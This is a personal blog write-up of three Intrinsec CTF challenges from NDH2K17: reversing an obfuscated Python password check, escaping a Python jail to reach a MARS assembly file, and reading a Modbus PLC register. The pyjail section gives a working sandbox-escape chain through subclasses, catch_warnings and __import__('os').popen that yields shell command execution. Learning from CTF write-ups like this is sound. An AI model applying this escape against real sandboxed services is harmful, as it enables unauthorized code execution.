Write Up Intrinsec challenges NDH2K17

This year I attended the NDH2K17 (edition XV). The event was pretty awesome and my friends and I arrived 16th at the wargame with only five people so I was pretty happy about this :)

Prior to the wargame, I went on a ctf platform hosted by intrinsec for the event. Unfortunately I did not have the time to do all the challenges as the NDH wargame started, but I did solve one (and a few after the wargame) and thought I would post a short writeup here.

TLDR;

https://github.com/warsang/IntrinsecNDH2K17

xx_xx.py

That's the name of the challenge. We are presented with a py file which has this name.

When launched the py file replies with:

Need argv[1]

We run it with aaaa and get:

Nope. Try again.

Ok... Guess we'll need to take a look inside.
The code is here:

from sys import argv,exit                                                                                                                                                      
if len(argv)<2:                                                                                                                                                                
  print "Need argv[1]"                                                                                                                                                         
  exit(1)                                                                                                                                                                      
print "You win, you can validate the challenge with your argument" if "ab__".join([ab__+argv[1][aB__] for ab__ in "aB___".join([chr(ord(argv[1][aB__])+aB__) for aB__ in range(len(argv[len(argv)-1]))])]).replace("xax","").replace("eab_","x") == "ox_ax_Bx__x__x__x_ox_ax_Bx__x__x__x_ax_ax_Bx__x__x__x_ux_ax_Bx__x__x__x_ix_ax_Bx__x__x__x_hx_ax_Bx__x__x__x_xx_ax_Bx__x__x__x_|x_ax_Bx__x__x__x_|x_ax_Bx__x__x__x_ne" else "Nope. Try again." 

So what we're interested in is the beautiful one liner which checks if our input after being transformed several times by python methods equals the following string:

"ox_ax_Bx__x__x__x_ox_ax_Bx__x__x__x_ax_ax_Bx__x__x__x_ux_ax_Bx__x__x__x_ix_ax_Bx__x__x__x_hx_ax_Bx__x__x__x_xx_ax_Bx__x__x__x_|x_ax_Bx__x__x__x_|x_ax_Bx__x__x__x_ne"

The challenge is pretty easy. Just a bit of a headache to do all these functions in reverse order:
First and foremost I suggest renaming all the variables as I did in my git writeup.

Then we need to apply:

.replace("x","eab")

Afterwards do not apply replace("", "xax") as this will insert "xax" between each of the characters of your string.
Once this is done apply:

.split("ab__")

This is the opposite of the join() method and will split the string in a list at each "ab__" char as separator.

Now for the slightly harder part:
The code basically appends a trash "aB___" character between every usefull one as a .replace("","aB___") would and then appends the "e" character to all characters.

Hence I created a for loop which has an increment value itterating on the loop.For every sixth element of the foor loop, we select the first character and append it to a list.
Our new list still has no meaning as we need to reverse the following operation:

chr(ord(argv[1][aB__])+aB__

The opposite would be something like:

chr(ord(new[index]) - index)

After itterating again through our array we get the following result:

"on_rec_ute"

So I changed this to:

"on_recrute"

And tried it and got the message:

"You win, you can validate the challenge with your argument"

Escape from pyjail to MARS

Ok, simply put this challenge was awesome!
Well I really enjoyed it and being still a bit inexperienced to CTF challenges, I did not know how to escape from a python jail too well. Python jails are pretty common in CTF so I acquired a usefull set of skills there!

So we connect with:

nc ndh.intrinsec.com 8001

And get a python prompt:

python prompt

All right! This means we need to feed our prompt base64 encoding:

After running:

echo ls | base64

We feed the output to the python (yum!):

python ls

Dafuq? Tell this to the marshal?... A quick google for python marshal gives us a python lib for serializing data. So I gathered the code must be deserialized then run through an eval() call.

Which means to run a python command we need to do the following:

>>> import base64
>>> import marshal

>>> base64.b64encode(marshal.dumps('print "hey"'))
'cw0AAABwcmludCAiaGVsbG8i'

And we get:

python hello

The line right after was me testing for the builtin dir function. You can find the doc for this function here.

What it does:

If you don't give it an input:

returns the list of names in the current local scope.

Otherwise:

attempts to return a list of valid attributes for that object.

We'll be needing this! (However you can check out this write up if you ever come across a pyjail with no dir function allowed!

Ok cool. Now what's next?
Well I used this command to list all types and classes(which also happen to be inherited from type btw)accessible in the python environement:

print ().__class__.__base__.__subclasses__()

This printed the following after being serialized and converted to base64:

base subclasses

Ok, well I had to look a bit on the internet to find out the next step. This link pointed it out. I also found an intrinsec write up but was afraid it would spoil the challenge so I did not pay much attention to it.

So I tried:

().__class__.__base__.__subclasses__()[59].__init__.func_globals

as 59 called warning.catch_warnings.

And got:

YOUR OUTPUT : 
restricted attribute

s*!t! Well I looked around and ended up noticing the __import__ method in 'warnings.catch_warnings'

So I called this function through:

toto=().__class__.__base__.__subclasses__()[59]()

Then I did:

print dir(toto)

At this point I was stuck. So I finally decided to have a look at the Intrinsec write up. It did spoil the challenge a bit... So I was happy I did not look it up right away!
I ran this command:

 toto._module.__builtins__['__import__']('os').popen("ls -al").read()

And got:

ls -al

Yay! Shell commands work! So I dumped the cmd.sh code for those interested in how the jail was set up:

socat TCP4-LISTEN:8001,fork,reuseaddr EXEC:"python chall/chall.py",chroot="/opt/app/jail/",su-d=ndh,pty,stderr

Went into the chall folder and dumped the chall.py file (available on the git repo).

And found the SpaceX.asm file.
First idea: assemble it and run on target machine:

nasm -f elf SpaceX.asm

But nasm was not found. On my 64bit archlinux:

assembly fail

Yeah the chances of having the same instruction set were pretty slim to begin with...

As good old Donald would say: "Sounds good, doesn't work!"

Finally I thought of the challenge description stating I had to run the SpaceX code on Mars. I googled Mars assembler and downloaded some assembly IDE from here.

I ran the code in it and got:

Mars code

In the bottom left was a nice ASCII Chain.

The following code revealed it:

titi = [70,76,65,71,123,119,51,108,67,48,109,101,95,116,48,95,109,52,114,53,125]      
flag_ar = []                                                                          
for elem in titi:                                                                     
    flag_ar.append(chr(elem))                                                         

print ''.join(flag_ar) 

The Flag

This challenge was really fun as I got to learn quite a few things about python internals. Thanks Intrinsec team!

ModBus

As I am reversing scada protocls during my internship, I thought this would be a pretty fun challenge to do. I obtained the domain's ip with:

domain ip

I downloaded a client from: https://github.com/ed-chemnitz/qmodbus/

I usually hate clients found on the internet in CTF's as I always have trouble running them and they seldom work. Nevertheless this guy worked straight away! After playing around with the modbus protocol I obtained the following response which reads directly from the PLC'S input register:

Modbus answer

A little bit of python magic and... Voila!

Flag

Another fun challenge which kind of gave me an idea for some future PLC oriented challenges I could write :)

That's it for now folks, will be sure to add more write ups when I figure them out! :)